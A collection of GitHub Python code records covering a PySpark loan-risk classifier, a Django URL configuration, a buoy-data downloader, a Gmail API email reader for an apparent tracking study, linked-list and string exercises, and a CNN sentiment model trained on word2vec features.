:param entity: The individual object to be changed or its name.\n :type entity: Union[str, owlready2.Thing]\n :param new_comment: New description as a list of strings\n :type new_comment: list\n :return: True if update successful, else False\n :rtype: bool\n \"\"\"\n individual_name, _ = owlutils.get_name_and_object(entity, self.store)\n return self.property(individual_name, 'comment', new_comment)\n ","repo_name":"causalgraph/causalgraph","sub_path":"causalgraph/store/edit.py","file_name":"edit.py","file_ext":"py","file_size_in_byte":9741,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"52"} +{"seq_id":"33639072590","text":"# Databricks notebook source\n# MAGIC %md\n# MAGIC ## Overview: Evaluating risk for loan approvals using a gradient boosted tree classifier\n# MAGIC ### Data: Public data from Lending Club including all funded loans from 2012 to 2017\n\n# COMMAND ----------\n\n# DBTITLE 1,Imports\nfrom pyspark.sql.functions import regexp_replace, substring, trim, round, col\nfrom pyspark.ml.classification import GBTClassifier\nfrom pyspark.mllib.evaluation import BinaryClassificationMetrics\nfrom pyspark.ml.linalg import Vectors\n\n# COMMAND ----------\n\n# DBTITLE 1,Functions\ndef extract(row):\n return (row.net,) + tuple(row.probability.toArray().tolist()) + (row.label,) + (row.prediction,)\n\ndef score(model,data):\n pred = model.transform(data).select(\"net\", \"probability\", \"label\", \"prediction\")\n pred = pred.rdd.map(extract).toDF([\"net\", \"p0\", \"p1\", \"label\", \"prediction\"])\n return pred \n\ndef auc(pred):\n metric = BinaryClassificationMetrics(pred.select(\"p1\", \"label\").rdd)\n return metric.areaUnderROC\n\n# COMMAND ----------\n\n# DBTITLE 1,Load Data\n# location of loanstats_2012_2017.parquet\nSOURCE = \"/databricks-datasets/samples/lending_club/parquet/\"\n\n# Read parquet\ndf = spark.read.parquet(SOURCE)\n\n# split the data\n(loan_sample, loan_other) = df.randomSplit([0.025, 0.975], seed=123)\n\n# Select only the columns needed\nloan_col = [\"loan_status\", \"int_rate\", \"revol_util\", \"issue_d\", \"earliest_cr_line\", \"emp_length\", \"verification_status\", \"total_pymnt\",\n \"loan_amnt\", \"grade\", \"annual_inc\", \"dti\", \"addr_state\", \"term\", \"home_ownership\", \"purpose\", \"application_type\", \"delinq_2yrs\", \"total_acc\"]\nloan_sample = loan_sample.select(loan_col)\n\n# COMMAND ----------\n\n# Print out number of loans\nprint(str(loan_sample.count()) + \" available loans\")\n\n# COMMAND ----------\n\ndisplay(loan_sample)\n\n# COMMAND ----------\n\n# DBTITLE 1,Munge Data\n# Create bad loan label, this will include charged off, defaulted, and late repayments on loans\nloan_sample_categorical = (loan_sample\n .filter(col('loan_status').isin([\"Default\", \"Charged Off\", \"Fully Paid\"]))\n .withColumn(\"bad_loan\", (col('loan_status') != \"Fully Paid\").cast(\"string\"))\n )\n# Map multiple categories into one\nloan_stats_categorical = loan_sample_categorical.withColumn('verification_status', trim(regexp_replace('verification_status', 'Source Verified', 'Verified')))\n\n# Turning string interest rate and revoling util columns into numeric columns\nloan_sample_numeric = (loan_sample_categorical\n .withColumn('int_rate', regexp_replace('int_rate', '%', '').cast('float'))\n .withColumn('revol_util', regexp_replace('revol_util', '%', '').cast('float'))\n .withColumn('issue_year', substring('issue_d', 5, 4).cast('double') )\n .withColumn('earliest_year', substring('earliest_cr_line', 5, 4).cast('double'))\n )\nloan_sample_numeric = loan_sample_numeric.withColumn('credit_length_in_years', (col('issue_year') - col('earliest_year')))\n\n# Converting emp_length column into numeric\nloan_sample_numeric = loan_sample_numeric.withColumn('emp_length', trim(regexp_replace('emp_length', \"([ ]*+[a-zA-Z].*)|(n/a)\", \"\") ))\nloan_sample_numeric = loan_sample_numeric.withColumn('emp_length', trim(regexp_replace('emp_length', \"< 1\", \"0\") ))\nloan_sample_numeric = loan_sample_numeric.withColumn('emp_length', trim(regexp_replace('emp_length', \"10\\\\+\", \"10\") ).cast('float'))\n\n# Calculate the total amount of money earned or lost per loan\nloan_stats = loan_sample_numeric.withColumn('net', round(col('total_pymnt') - col('loan_amnt'), 2))\n\n# COMMAND ----------\n\ndisplay(loan_stats)\n\n# COMMAND ----------\n\n# DBTITLE 1,Train/Test Split\n# Create train/test split\nmyY = \"bad_loan\"\ncategorical_col = [\"term\", \"home_ownership\", \"purpose\", \"addr_state\",\n \"verification_status\",\"application_type\"]\nnumeric_col = [\"loan_amnt\",\"emp_length\", \"annual_inc\", \"dti\", \"delinq_2yrs\",\n \"revol_util\", \"total_acc\", \"credit_length_in_years\"]\nmyX = categorical_col + numeric_col\n\nloan_stats2 = loan_stats.select(myX + [myY, \"int_rate\", \"net\", \"issue_year\"])\ntrain = loan_stats2.filter(col('issue_year') <= 2015).cache()\nvalid = loan_stats2.filter(col('issue_year') > 2015).cache()\n\n# COMMAND ----------\n\n# DBTITLE 1,Build GBT Pipeline\n# Establish stages for our GBT model\nindexers = map(lambda c: StringIndexer(inputCol=c, outputCol=c+\"_idx\", handleInvalid = 'keep'), categorical_col)\nimputers = Imputer(inputCols = numeric_col, outputCols = numeric_col)\nfeatureCols = list(map(lambda c: c+\"_idx\", categorical_col)) + numeric_col\n\n# Define vector assemblers\nmodel_matrix_stages = (list(indexers) + [imputers] +\n [VectorAssembler(inputCols=featureCols, outputCol=\"features\"), StringIndexer(inputCol=\"bad_loan\", outputCol=\"label\")])\n\n# Define a GBT model\ngbt = GBTClassifier(featuresCol=\"features\",\n labelCol=\"label\",\n lossType = \"logistic\",\n maxBins = 52,\n maxIter=20,\n maxDepth=5)\n\n# Chain indexer and GBT in a Pipeline\npipeline = Pipeline(stages=model_matrix_stages+[gbt])\n\n# Train model\ngbt_model = pipeline.fit(train)\n\n# COMMAND ----------\n\n# DBTITLE 1,Score Data\ngbt_train = score(gbt_model, train)\ngbt_valid = score(gbt_model, valid)\n\nprint (\"GBT Training AUC :\" + str(auc(gbt_train)))\nprint (\"GBT Validation AUC :\" + str(auc(gbt_valid)))\n\n# COMMAND ----------\n\ndisplay(gbt_valid)\n\n# COMMAND ----------\n\n\n","repo_name":"jsbellamy/Pyspark","sub_path":"ML_pipeline/loan_risk_classifier.py","file_name":"loan_risk_classifier.py","file_ext":"py","file_size_in_byte":5506,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"36848215868","text":"from django.urls import path\nfrom .views import userView, loginUser, logoutUser, registerUser, editUser, deleteUser\n\n\nurlpatterns = [\n path('', userView, name='user'),\n path('login/', loginUser, name='login'),\n path('logout/', logoutUser, name='logout'),\n path('register/', registerUser, name='register'),\n path('edit/', editUser, name='edit_user'),\n path('delete/', deleteUser, name='delete_user')\n]\n","repo_name":"twergi/red_an","sub_path":"red_an/users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"43695137252","text":"#!/usr/bin/env python\n\n\"\"\"\nThis script downloads weather buoy data\nand stores it into csv files, one for each buoy.\n\"\"\"\n\nfrom ndbc import Station\nfrom datetime import datetime\nimport numpy as np\n\n\ndef write_buoy_to_csv(buoyid, startyear, endyear):\n s = Station(buoyid, datetime(startyear, 1, 1), datetime(endyear, 1, 1))\n\n s.atmp[s.atmp > 900] = np.nan\n s.dewp[s.dewp > 900] = np.nan\n s.wtmp[s.wtmp > 900] = np.nan\n s.wvht[s.wvht > 90] = np.nan\n s.apd[s.apd > 90] = np.nan\n\n with open('buoy_' + str(buoyid) + '.csv', 'w') as f:\n for n in range(s.time.size):\n record = [\n s.time[n].strftime('%Y-%m-%d_%H:%M:%S'),\n '%5.1f' % s.wspd[n],\n '%7.1f' % s.pres[n],\n '%5.1f' % s.atmp[n],\n '%5.1f' % s.dewp[n],\n '%5.1f' % s.wtmp[n],\n '%7.2f' % s.wvht[n],\n '%7.2f' % s.apd[n],\n ]\n f.write(','.join(record) + '\\n')\n\n\nbuoys = [42001, 42002, 42003, 42020, 42035, 42036, 42039, 42040, 42055]\n\nfor buoy in buoys:\n print('processing buoy:', buoy)\n write_buoy_to_csv(buoy, 2005, 2017)\n","repo_name":"modern-fortran/weather-buoys","sub_path":"data/get_buoy.py","file_name":"get_buoy.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"52"} +{"seq_id":"7896853969","text":"T = int(input())\nfor t in range(1, T+1):\n pat = input()\n txt = input()\n N, M = len(txt), len(pat)\n result = 0\n is_terminate = False\n for i in range(N-M+1):\n for j in range(M):\n if txt[i+j] != pat[j]:\n break\n elif txt[i+j] == pat[j] and j == M-1:\n result = 1\n is_terminate = True\n if is_terminate:\n break\n print(f\"#{t} {result}\")","repo_name":"Going777/Algorithm","sub_path":"SWEA/D2/4864_문자열 비교.py","file_name":"4864_문자열 비교.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"69867148965","text":"from urllib.request import urlopen\nimport re\nimport time\n\n\n# Create our results file and add headers\noutfile = open('docker_hiera.csv', 'w')\noutfile.write(\"Name,Parent,Parent2\\n\")\n\n# Open list of repos to check\nwith open('docker_images.csv') as master_list:\n\trepo_list = master_list.read().splitlines()\n\n# Iterate through list of repos and find parent images (only does one level atm)\nfor repo in repo_list:\n\trepo = repo.rstrip()\n\toutfile.write(repo)\n\toutfile.write(\",\")\n\t# outfile.write(repo)\n\tcurrent_url = \"https://raw.githubusercontent.com/{}/master/Dockerfile\".format(repo)\n\ttry:\n\t\tdockerfile = urlopen(current_url).read().decode(\"utf-8\")\n\t\tresults = re.findall(r'FROM.*\\n',str(dockerfile))\n\t\tfor image in results:\n\t\t\toutfile.write(results[0][5:-1])\n\t\t\toutfile.write(\",\")\n\t\toutfile.write(\"\\n\")\n\t\t# outfile.write(results[5:-1])\n\texcept:\n\t\toutfile.write(\"\\n\")\n\t# Pause for 1 second to avoid hitting GitHub read limits\n\ttime.sleep(1)\n","repo_name":"jsfillman/image_hiera","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"5393919350","text":"# 进程\n#\n# 一个程序的执行实例就是一个进程。每一个进程提供执行程序所需的所有资源(进程本质上是资源的集合)。\n# 一个进程有一个虚拟的地址空间、可执行的代码、操作系统的接口、安全的上下文(记录启动该进程的用户和权限等)、\n# 唯一的进程ID、环境变量、优先级类、最小和最大的工作空间(内存空间),还要至少一个进程。\n#\n# 与进程相关的资源包括:\n# 内存页(同一个进程中的所有线程共享同一个内存空间)\n# 文件描述符(e.g.open sockets)\n# 安全凭证(e.g.启动该进程的用户ID)\n# 每启动一个子进程就从父进程克隆一份数据,进程之间的数据本身是不能共享的。\nfrom multiprocessing import Process\nimport time, os\n\n\ndef func(title):\n print(title)\n print(\"modle_name: \", __name__)\n print(\"parent_name: \", os.getppid()) # 获取父进程ID\n print(\"process_id: \", os.getpid()) # 获取自己的进程ID\n\n\ndef f(name):\n func(\"\\033[31;1m function f\\033[0m\")\n print(time.time())\n print(\"hello\", name)\n\n\nif __name__ == '__main__':\n func('\\033[32;1m main process line \\033[0m')\n name_list = (\"jack\", \"bob\")\n for item in name_list:\n p = Process(target=f, args=(item,))\n p.start()\n p.join()\n\"\"\"\n main process line\nmodle_name: __main__\nparent_name: 15876\nprocess_id: 9992\n function f\nmodle_name: __mp_main__\nparent_name: 9992\nprocess_id: 12044\n1557472080.023705\nhello jack\n function f\nmodle_name: __mp_main__\nparent_name: 9992\nprocess_id: 4988\n1557472080.232705\nhello bob\n\"\"\"\n","repo_name":"johnsonliu33/myPythonProject","sub_path":"utils/multithreading_Multiprocess/multiprocess.py","file_name":"multiprocess.py","file_ext":"py","file_size_in_byte":1626,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"34406180065","text":"import base64\nfrom random import sample\n\nSAMPLE_MAIL_URL_STR = \"https://mail.google.com/mail?authuser=EMAILADDRESS#all/MESSAGEID\"\n\n\ndef _get_from_base64(base64_message):\n return base64.urlsafe_b64decode(base64_message)\n\n\ndef get_participant_email(service):\n user_details = service.users().getProfile(userId='me').execute()\n return user_details.get(\"emailAddress\", None)\n\n\ndef read_emails(service, fro, to):\n email_list = []\n emails = service.users().messages().list(userId=\"me\",\n q=\"after:\" +\n fro.strftime(\n \"%Y/%m/%d\") + \" before:\" + to.strftime(\"%Y/%m/%d\"),\n maxResults=1000\n ).execute()\n progress = 0\n for email in emails[\"messages\"]:\n email_dict = {}\n email_dict[\"id\"] = email[\"id\"]\n email_info = service.users().messages().get(\n userId=\"me\", id=email[\"id\"]).execute()\n email_dict[\"labels\"] = email_info[\"labelIds\"]\n for header in email_info[\"payload\"][\"headers\"]:\n if header[\"name\"] == \"To\":\n email_dict[\"to\"] = header[\"value\"]\n elif header[\"name\"] == \"Date\":\n email_dict[\"timestamp\"] = header[\"value\"]\n elif header[\"name\"] == \"From\":\n email_dict[\"from\"] = header[\"value\"]\n elif header[\"name\"] == \"Subject\":\n email_dict[\"subject\"] = header[\"value\"]\n try:\n if email_info[\"payload\"][\"body\"].get(\"data\"):\n email_dict[\"body\"] = str(_get_from_base64(\n email_info[\"payload\"][\"body\"][\"data\"]))\n elif len(email_info[\"payload\"][\"parts\"]) > 0:\n for part in email_info[\"payload\"][\"parts\"]:\n if part[\"mimeType\"] == \"text/plain\" or part[\"mimeType\"] == \"text/html\":\n email_dict[\"body\"] = str(\n _get_from_base64(part[\"body\"][\"data\"]))\n else:\n email_dict[\"body\"] = None\n except KeyError as _:\n email_dict[\"body\"] = None\n\n # thread information\n thread_info = service.users().threads().get(\n userId=\"me\", id=email[\"threadId\"]).execute()\n email_dict[\"thread\"] = []\n for message in thread_info[\"messages\"]:\n minimal_cur_thread_info = {}\n for header in message[\"payload\"][\"headers\"]:\n if header[\"name\"] == \"To\":\n minimal_cur_thread_info[\"to\"] = header[\"value\"]\n elif header[\"name\"] == \"Date\":\n minimal_cur_thread_info[\"timestamp\"] = header[\"value\"]\n elif header[\"name\"] == \"From\":\n minimal_cur_thread_info[\"from\"] = header[\"value\"]\n email_dict[\"thread\"].append(minimal_cur_thread_info)\n email_list.append(email_dict)\n progress += 1\n print(f\"INFO: Fetched {progress} out of {len(emails['messages'])} emails\", end=\"\\r\", flush=True)\n return email_list\n\n\ndef get_sample_each_type(label_list, num_samples, participant_email):\n sample_mail_url = SAMPLE_MAIL_URL_STR.replace(\n \"EMAILADDRESS\", participant_email)\n all_tracking = set([x for x in range(len(label_list))])\n with_tracking = set()\n for ind in range(len(label_list)):\n if label_list[ind][\"has_open_tracking\"] or label_list[ind][\"has_click_tracking\"]:\n with_tracking.add(ind)\n without_tracking = all_tracking - with_tracking\n tracked = []\n non_tracked = []\n try:\n tracked = sample(with_tracking, num_samples)\n non_tracked = sample(without_tracking, num_samples)\n except ValueError:\n pass\n tracked = [sample_mail_url.replace(\n \"MESSAGEID\", label_list[x][\"id\"]) for x in tracked]\n non_tracked = [sample_mail_url.replace(\n \"MESSAGEID\", label_list[x][\"id\"]) for x in non_tracked]\n return tracked, non_tracked\n","repo_name":"thealphadollar/Blink","sub_path":"blink/collector.py","file_name":"collector.py","file_ext":"py","file_size_in_byte":4022,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"38920285031","text":"import operator\nfrom random import shuffle\n\n\nclass Node:\n\n def __init__(self, data) -> None:\n self.data = data\n self.next = None\n\n def __repr__(self):\n return f'Node({self.data!r})'\n\n def __str__(self):\n return f'{self.data!r}'\n\n\nclass LinkedList:\n\n all: list[\"LinkedList\"] = []\n\n def __init__(self, head) -> None:\n try:\n iter(head)\n except TypeError:\n raise NotImplementedError('head must be iterable')\n self.__nodes = self.__nodize(head)\n LinkedList.all.append(self)\n\n def __repr__(self):\n cls_name = type(self).__name__\n return f\"{cls_name}({' -> '.join([str(node) for node in self][:5])} -> ...)\"\n\n def __str__(self):\n return ' -> '.join([str(node) for node in self]) + ' -> None'\n\n def __len__(self):\n return len(self.__nodes)\n\n def __iter__(self):\n return iter(self.__nodes)\n\n def __getitem__(self, key):\n if isinstance(key, slice):\n cls = type(self)\n return cls(self.__nodes[key])\n key = operator.index(key)\n return self.__nodes[key]\n\n def __setitem__(self, key, new_node):\n if not isinstance(new_node, Node):\n new_node = Node(new_node)\n self.__nodes[key] = new_node\n self.__nodize(self.__nodes)\n\n def __delitem__(self, key):\n del self.__nodes[key]\n self.__nodize(self.__nodes)\n\n def __iadd__(self, other):\n cls = type(self)\n if isinstance(other, cls):\n self.__nodes.extend(other)\n else:\n try:\n self.__nodes.extend(other)\n except TypeError:\n msg = (\n f\"right operand in += must be '{cls.__name__}' or an iterable\")\n raise TypeError(msg) from None\n self.__nodize(self.__nodes)\n return self\n\n def __add__(self, other):\n cls = type(self)\n if isinstance(other, cls):\n return cls(self.__nodize(self.__nodes + other.__nodes))\n else:\n return NotImplemented\n\n def reverse(self):\n self.__nodes = self.__nodes[::-1]\n self.__nodize(self.__nodes)\n\n def shuffle(self):\n shuffle(self.__nodes)\n self.__nodize(self.__nodes)\n\n def insert_node(self, key, new_node):\n if not isinstance(new_node, Node):\n new_node = Node(new_node)\n self.__nodes.insert(key, new_node)\n self.__nodize(self.__nodes)\n\n def __nodize(self, iterable):\n nodes = list(iterable)\n nodes = [node if isinstance(node, Node) else Node(node)\n for node in nodes]\n self.head = nodes[0]\n current_node = self.head\n for i in range(1, len(nodes)):\n current_node.next = nodes[i]\n current_node = current_node.next\n return nodes\n\n @classmethod\n def from_file(cls, filename):\n with open(filename, 'r') as file:\n lines = file.readlines()\n for line in lines:\n head = ''.join(char for char in line if char.isalnum())\n if head:\n cls(head)\n","repo_name":"shadowy-pycoder/learning_python","sub_path":"LinkedList2.py","file_name":"LinkedList2.py","file_ext":"py","file_size_in_byte":3118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"18677593957","text":"# library\n\nimport gensim\nimport pandas as pd\nimport numpy as np\nimport random\nimport torch\nimport torch.nn as nn\nimport torchvision\nimport torch.utils.data as Data\n\ndata=pd.read_table('train.tsv',sep='\\t')\n# texts=data['Phrase'].tolist()\ndata_y=data[\"Sentiment\"]\ndata_y=np.array(data_y)\nN=len(data_y)\n\ndel(data)\n\nwords_ls=pd.read_table('words_ls.txt',header=None)[0]\nwords_ls=[eval(words) for words in words_ls]\n\nword_maxlen=0\nfor words in words_ls:\n word_maxlen=max(word_maxlen,len(words))\n\nword2vec = gensim.models.KeyedVectors.load_word2vec_format(\"GoogleNews-vectors-negative300.bin.gz\", binary=True)\n\n# Hyper Parameters\nLEN_SEN = word_maxlen\nVEC_LEN = 300\n\n# CNN Architecture\nclass CNN(nn.Module):\n def __init__(self,n_window = 3,vec_len=300):\n self.window = n_window\n self.vec_len = vec_len\n super(CNN, self).__init__()\n self.conv1 = nn.Sequential( # input shape (1, 28, 28)\n nn.Conv2d(\n in_channels=1, # input height\n out_channels=16, # n_filters\n kernel_size=(self.window,self.vec_len), # filter size\n stride=(1,self.vec_len), # filter movement/step\n \n ), # output shape (16, 28, 28)\n nn.ReLU(), # activation\n nn.MaxPool2d(kernel_size=(LEN_SEN-self.window+1,1),stride=(LEN_SEN-self.window+1,1)), \n )\n\n self.out = nn.Linear(16, 5) # fully connected layer, output 10 classes\n\n def forward(self, x):\n x = self.conv1(x)\n x = x.view(x.size(0), -1) # flatten the output of conv2 to (batch_size, 32 * 7 * 7)\n output = self.out(x)\n return output, x # return x for visualization\n \n# Word Vectors Generation (to tensor)\ndef wv_to_tensor(inds,t_height=word_maxlen,v_length=VEC_LEN,WV=word2vec):\n l=len(inds)\n wordvec=np.zeros([l,1,t_height,v_length]) # dimension \n for i in range(l):\n words=words_ls[inds[i]]\n n=len(words)\n if n>0: \n try:\n wordvec[i,0,:n,:]=WV[words]\n except KeyError:\n for h in range(n):\n try:\n wordvec[i,0,h,:]=WV[words[h]].reshape(1,v_length)\n except KeyError:\n wordvec[i,0,h,:]=np.random.randn(1,v_length)/10\n # 到此 wordvec的type还是np.array, need to convert to torch.tensor\n return torch.from_numpy(wordvec).to(torch.float32)\n\n\n\ndef train(EPOCH = 2 ,BATCH_SIZE = 200,LR = 0.01,n_window = 3,wv=word2vec):\n \n cnn = CNN(n_window)\n optimizer = torch.optim.Adam(cnn.parameters(), lr=LR) # optimize all cnn parameters\n loss_func = nn.CrossEntropyLoss() # the target label is not one-hotted\n\n train_inds=random.sample(range(N),np.int(np.floor(N*0.8)))\n test_inds=list(set(range(N))-set(train_inds))\n\n mat=np.concatenate((np.arange(N).reshape(N,1),data_y.reshape(N,1)),axis=1)\n train_loader = Data.DataLoader(dataset=mat[train_inds,:], batch_size=BATCH_SIZE, shuffle=True)\n test_x=wv_to_tensor(inds=mat[test_inds,0],WV=wv)\n test_y=torch.from_numpy(mat[test_inds,1])\n\n for epoch in range(EPOCH):\n for step, batch_data in enumerate(train_loader): # gives batch data, normalize x when iterate train_loader\n b_x_ind = batch_data[:,0] # batch x\n b_y = batch_data[:,1] # batch y\n b_x = wv_to_tensor(inds=b_x_ind,WV=wv)\n\n output = cnn(b_x)[0] # cnn output\n loss = loss_func(output, b_y) # cross entropy loss\n optimizer.zero_grad() # clear gradients for this training step\n loss.backward() # backpropagation, compute gradients\n optimizer.step() # apply gradients\n\n if step % 100 == 0:\n test_output, last_layer = cnn(test_x)\n pred_y = torch.max(test_output, 1)[1].data.squeeze()\n accuracy = (pred_y == test_y).sum().item() / float(test_y.size(0))\n print('Epoch: ', epoch, '| Step: ', step, '| train loss: %.4f' % loss.data, '| test accuracy: %.2f' % accuracy)\n return (cnn,accuracy)\n\n\ncnn10,acc10=train(n_window=10,wv=word2vec)\nprint('test accuracy: %.2f' % accuracy)\ntorch.save(cnn10, 'cnn-w10.pkl') # save entire net","repo_name":"AllenLI20/NLP-Basic-Tasks","sub_path":"Task2/cnn_train.py","file_name":"cnn_train.py","file_ext":"py","file_size_in_byte":4438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"40617475969","text":"# Merge k sorted linked lists and return it as one sorted list.\n##############################################################################################################################################\nfrom queue import PriorityQueue\n\n\nclass Node:\n def __init__(self, initdata):\n self.data = initdata\n self.next = None\n\n def getData(self):\n return self.data\n\n def getNext(self):\n return self.next\n\n def setData(self, newdata):\n self.data = newdata\n\n def setNext(self, newnext):\n self.next = newnext\n\n\nclass LinkedList:\n def __init__(self, head=None):\n self.head = head\n\n def insert(self, data):\n new_node = Node(data)\n new_node.setNext(\n self.head) # set new_node tro den phan tu dau tien (self.head tro den phan tu dau tien cua list)\n self.head = new_node # head of the list tro den new_node\n\n def size(self):\n current = self.head # bat dau tu phan tu dau tien\n count = 0\n while current: # break when current=None, tuc la phan tu cuoi cung\n count += 1\n current = current.getNext()\n return count\n\n def search(self, item):\n current = self.head\n found = False\n while current is not None and not found:\n if (current.getData() != item):\n current = current.getNext()\n else:\n found = True\n return found\n\n def remove(self, item):\n current = self.head\n previous = None\n found = False\n while current is not None and not found:\n if (current.getData() != item):\n previous = current\n current = current.getNext()\n else:\n found = True\n if current == None: # if item is not in the list\n raise ValueError(\"Data is not in the list\")\n # if item is the first element\n if previous == None:\n self.head = current.getNext()\n else: # cho du current la phan tu cuoi cung thi current.getNext() se return None\n previous.setNext(current.getNext())\n\n def insert_tail(self, item):\n current = self.head\n previous = None\n while current:\n previous = current\n current = current.getNext()\n # after the while, the previous will be the last element\n new_node = Node(item) # new_node will have default Next =None\n previous.setNext(new_node)\n\n def listall(self):\n current = self.head\n while current:\n print(current.getData())\n current = current.getNext()\n\n\nclass Solution(object):\n def MergeKLists(self, linkedlist1, linkedlist2, linkedlist3):\n self.q = []\n iter1 = linkedlist1.head\n while iter1:\n self.q.append(iter1.getData())\n iter1 = iter1.getNext()\n iter2 = linkedlist2.head\n while iter2:\n self.q.append(iter2.getData())\n iter2 = iter2.getNext()\n iter3 = linkedlist3.head\n while iter3:\n self.q.append(iter3.getData())\n iter3 = iter3.getNext()\n # for i in kwargs:\n # iter = i.head\n # while iter:\n # self.nodes.append(iter.getData())\n # iter = iter.getNext()\n print(self.q)\n self.q = sorted(self.q)\n head = point = LinkedList()\n for i in self.q:\n point.insert(i)\n point.listall()\n\n ##############################################################################################################################################\n # using PriorityQueue.\n # from queue import PriorityQueue\n def MergeKLists2(self, linkedlist1, linkedlist2, linkedlist3):\n q = PriorityQueue()\n iter1 = linkedlist1.head\n while iter1:\n q.put((iter1.getData(), iter1))\n iter1 = iter1.getNext()\n iter3 = linkedlist3.head\n while iter3:\n q.put((iter3.getData(), iter3))\n iter3 = iter3.getNext()\n iter2 = linkedlist2.head\n while iter2:\n q.put((iter2.getData(), iter2))\n iter2 = iter2.getNext()\n print(q)\n head = point = LinkedList()\n while not q.empty():\n data, Node = q.get()# why\n print(data)\n point.insert(LinkedList(data))\n point.listall()\n\n\nlinkedlist1 = LinkedList()\nlinkedlist1.insert(1)\nlinkedlist1.insert(3)\nlinkedlist1.insert(6)\nlinkedlist1.insert(12)\nlinkedlist1.insert(25)\nlinkedlist1.insert(67)\nprint(\"list1\", linkedlist1.listall())\nlinkedlist2 = LinkedList()\nlinkedlist2.insert(3)\nlinkedlist2.insert(5)\nlinkedlist2.insert(15)\nlinkedlist2.insert(18)\nlinkedlist2.insert(25)\nlinkedlist2.insert(69)\nprint(\"list2\", linkedlist2.listall())\nlinkedlist3 = LinkedList()\nlinkedlist3.insert(9)\nlinkedlist3.insert(17)\nlinkedlist3.insert(25)\nlinkedlist3.insert(28)\nlinkedlist3.insert(29)\nlinkedlist3.insert(49)\nprint(\"list3\", linkedlist3.listall())\n\nsolution = Solution()\nsolution.MergeKLists2(linkedlist1, linkedlist2, linkedlist3)\n","repo_name":"KennyTC/Algorithm","sub_path":"LinkedList/MergeKList.py","file_name":"MergeKList.py","file_ext":"py","file_size_in_byte":5092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"23785637734","text":"import time\n\nimport numpy as np\n\nfrom environment.vksp import VisualKspEnv\nfrom agent.random import RandomAgent\nimport analysis.plot as analysis_plot\n\nprint('Creating environment data ...')\nstart = time.time()\n\n# reproducibility\nnp.random.seed(0)\n\n# n must be a perfect square\nenv = VisualKspEnv(n=9, k=2, T=1000, is_render=True)\nagent = RandomAgent(env.k, is_plot=True)\n\n# analysis parameters\nreward_data, R = [], []\nacc_rew_size = 100\n\n# start agent-env interaction\nfor t in range(env.T):\n\n if env.is_render:\n env.render()\n\n a = agent.policy()\n o, r, done = env.step(a)\n\n # compute the accumulated reward\n reward_data.append(r)\n _, div = divmod(t, acc_rew_size)\n\n if div == 0:\n acc_rew = sum(reward_data)\n print('ep: {} reward (mean): {}'.format(t, acc_rew))\n if agent.is_plot:\n agent.plot_reward(t, acc_rew)\n reward_data.clear()\n\n if done:\n acc_rew = np.sum(reward_data)\n print('ep: {} reward (mean): {}'.format(t, acc_rew))\n if agent.is_plot:\n agent.plot_reward(t, acc_rew)\n R.append(acc_rew)\n\n\nfinish = time.time() - start\nprint('Running time {} sec'.format(finish))\n\nanalysis_plot.plot_accumulated_reward(R)\n","repo_name":"ramonlins/kserver","sub_path":"run_random_vksp.py","file_name":"run_random_vksp.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"969054962","text":"class Solution:\n def checkSubarraySum(self, nums: List[int], k: int) -> bool:\n history = set()\n pre = 0\n for i, n in enumerate(nums): \n cur = (pre + n) % k\n if i > 0 and (cur == 0 or n % k == 0 and nums[i - 1] % k == 0 or n % k != 0 and cur in history): \n return True\n \n history.add(cur)\n pre = cur\n \n return False","repo_name":"mathewhany/leetcode-solutions","sub_path":"0523-continuous-subarray-sum/0523-continuous-subarray-sum.py","file_name":"0523-continuous-subarray-sum.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"13802824376","text":" # incremental build model\n #https://github.com/ksmielke/python-w12\n# kimberly mielke\n # ​CSCI 102 – Section A \n# Week 12 - Part A \n\n\n\n#1\ndef PrintOutput(x):\n print('OUTPUT', x)\n\n#2\ndef LoadFile(x):\n lis = []\n txt = open(x, 'r')\n #print(txt)\n doc = txt.readlines()\n #print(doc)\n for n in doc:\n lis.append(n.strip())\n return (lis)\n\n#3\ndef UpdateString(x, y, z):\n k = ''\n for i in range(len(x)):\n if i != z:\n k += x[i]\n else:\n k += y\n return (k)\n #print(k)\n\n#4\ndef FindWordCount(x, y):\n a = LoadFile(x)\n i = 0\n m = []\n for k in a:\n m += k.split()\n #print(m)\n for p in m:\n if p == y:\n i += 1\n return (i)\n\n#5\ndef ScoreFinder(x, y):\n \n \n return PrintOutput\n\n#6\ndef Union(x, y):\n k = []\n k = x + y\n return PrintOutput(k)\n\n#7\ndef Intersection(x, y):\n k = []\n for n in x:\n for m in y:\n if n == m:\n k.append(n)\n #print(k)\n return (k)\n\n#8\ndef NotIn(x, y):\n k = []\n for n in x:\n if n not in y:\n k.append(n)\n #print(k)\n return (k)\n","repo_name":"ksmielke/python-w12","sub_path":"Week12a-utility.py","file_name":"Week12a-utility.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"35616752699","text":"from typing import Optional\n\nfrom pydantic import BaseModel, validator\nfrom virtool_core.models.enums import MessageColor\nfrom virtool_core.models.instancemessage import InstanceMessage\nfrom 